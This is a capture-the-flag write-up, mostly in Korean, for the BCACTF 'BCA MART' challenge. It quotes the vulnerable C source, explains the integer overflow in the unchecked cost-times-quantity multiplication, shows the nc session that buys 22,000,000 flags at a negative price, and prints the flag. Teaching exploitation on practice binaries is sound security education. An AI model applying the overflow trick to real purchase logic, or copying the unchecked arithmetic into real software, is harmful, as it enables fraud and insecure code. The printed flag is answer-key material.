1. Description
After the pandemic hit, everybody closed up shop and moved online. Not wanting to be left behind, BCA MART is launching its own digital presence. Shop BCA MART from the comfort of your own home today!
•
nc bin.bcactf.com 49153
2. Write up
#include <stdio.h>
#include <stdlib.h>
int money = 15;
int purchase(char *item, int cost) {
int amount;
printf("How many %s would you like to buy?\n", item);
printf("> ");
scanf("%d", &amount);
if (amount > 0) {
cost *= amount;
printf("That'll cost $%d.\n", cost);
if (cost <= money) {
puts("Thanks for your purchse!");
money -= cost;
} else {
puts("Sorry, but you don't have enough money.");
puts("Sucks to be you I guess.");
amount = 0;
}
} else {
puts("I'm sorry, but we don't put up with pranksters.");
puts("Please buy something or leave.");
}
return amount;
}
int main() {
int input;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("Welcome to BCA MART!");
puts("We have tons of snacks available for purchase.");
puts("(Please ignore the fact we charge a markup on everything)");
while (1) {
puts("");
puts("1) Hichew™: $2.00");
puts("2) Lays® Potato Chips: $2.00");
puts("3) Water in a Bottle: $1.00");
puts("4) Not Water© in a Bottle: $2.00");
puts("5) BCA© school merch: $20.00");
puts("6) Flag: $100.00");
puts("0) Leave");
puts("");
printf("You currently have $%d.\n", money);
puts("What would you like to buy?");
printf("> ");
scanf("%d", &input);
switch (input) {
case 0:
puts("Goodbye!");
puts("Come back soon!");
puts("Obviously, to spend more money :)");
return 0;
case 1:
purchase("fruity pieces of goodness", 2);
break;
case 2:
purchase("b̶a̶g̶s̶ ̶o̶f̶ ̶a̶i̶r̶ potato chips", 2);
break;
case 3:
purchase("bottles of tap water", 1);
break;
case 4:
purchase("generic carbonated beverages", 2);
break;
case 5:
purchase("wonderfully-designed t-shirts", 20);
break;
case 6:
if (purchase("super-cool ctf flags", 100) > 0) {
FILE *fp = fopen("flag.txt", "r");
char flag[100];
if (fp == NULL) {
puts("Hmm, I can't open our flag.txt file.");
puts("Sorry, but looks like we're all out of flags.");
puts("Out of luck, we just sold our last one a couple mintues ago.");
puts("[If you are seeing this on the remote server, please contact admin].");
exit(1);
}
fgets(flag, sizeof(flag), fp);
puts(flag);
}
break;
default:
puts("Sorry, please select a valid option.");
}
}
}
C
복사
해당 문제에서는 바이너리 파일과 함께 소스코드도 제공하고 있다. 소스코드를 분석하면 아래와 같다.
•
프로그램 시작 시 사용자한테는 $15를 기본으로 제공한다.
•
main 함수에서 구매하고자 하는 상품을 숫자로 입력받는다.
•
상품을 선택하면 해당 상품의 이름과 금액을 기반으로 purchase() 함수를 호출한다.
•
purchase() 함수에서는 구매하고자 하는 상품의 개수를 입력 받는다.
•
소지한 금액이 상품의 금액 * 개수보다 크면 상품 구매가 진행된다.
•
이 때 플래그는 6번을 선택하면 구매할 수 있으며 플래그를 구매하기 위해서는 $100가 필요하다.
해당 문제는 프로그램 시작 시 15달러만 소지할 수 있기 때문에 정상적인 방법으로는 100달러인 플래그를 절대로 구매할 수 없다. 따라서 취약점을 활용해서 플래그를 구매해야 한다.
int purchase(char *item, int cost) {
int amount;
......
printf("> ");
scanf("%d", &amount);
......
}
int main() {
int input;
......
while (1) {
......
printf("> ");
scanf("%d", &input);
......
}
}
C
복사
첫번째 방법으로는 버퍼 오버플로우를 이용해서 flag.txt를 출력해주는 루틴을 강제로 시작하는 방식이다. main() 함수와 purchase() 함수내에 있는 scanf()함수를 중심으로 버퍼 오버플로우 취약점이 존재하는지 확인했으나 발견할 수 없었다.
int money = 15;
int purchase(char *item, int cost) {
int amount;
printf("How many %s would you like to buy?\n", item);
printf("> ");
scanf("%d", &amount);
if (amount > 0) {
cost *= amount;
printf("That'll cost $%d.\n", cost);
if (cost <= money) {
puts("Thanks for your purchse!");
money -= cost;
} else {
puts("Sorry, but you don't have enough money.");
puts("Sucks to be you I guess.");
amount = 0;
}
} else {
puts("I'm sorry, but we don't put up with pranksters.");
puts("Please buy something or leave.");
}
return amount;
}
C
복사
두번째로 생각할 수 있는 부분은 정수 오버플로우이다. 정수형 변수는 각각 범위를 갖고 있는데 그 범위를 벗어나면 "양수 → 음수" 또는 "음수 → 양수"로 값이 반전이 되는 취약점이다.
if(cost <= money) 구문을 보면 현재 갖고 있는 금액보다 지불할 금액이 더 적은 경우 구매가 진행이 된다. 이때 cost 변수, 즉 지불할 금액이 음수인 경우에 대한 예외 처리가 되있지 않음을 확인할 수 있다. 따라서 선택한 물건의 개수를 많이 구매하여 정수 범위를 벗어나면 음수가 되면서 물건 구매가 진행될 수 있다.
lbyte@hust:BCAMart# nc bin.bcactf.com 49153
Welcome to BCA MART!
We have tons of snacks available for purchase.
(Please ignore the fact we charge a markup on everything)
1) Hichew™: $2.00
2) Lays® Potato Chips: $2.00
3) Water in a Bottle: $1.00
4) Not Water© in a Bottle: $2.00
5) BCA© school merch: $20.00
6) Flag: $100.00
0) Leave
You currently have $15.
What would you like to buy?
> 6
How many super-cool ctf flags would you like to buy?
> 22000000
That'll cost $-2094967296.
Thanks for your purchse!
bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}
Bash
복사
현재 구매해야할 플래그 값은 $100로 고정되있기 때문에 사려는 물건의 개수를 조정하여 음수로 만들면 된다. cost 변수는 int형으로 -2,147,483,648 ~ 2,147,483,647범위를 갖는다. 따라서 대략 22,000,000개 정도 구매하면 해당 범위를 넘어서 음수로 바뀌고 플래그를 살 수 있게 된다.
3. FLAG
bcactf{bca_store??_wdym_ive_never_heard_of_that_one_before}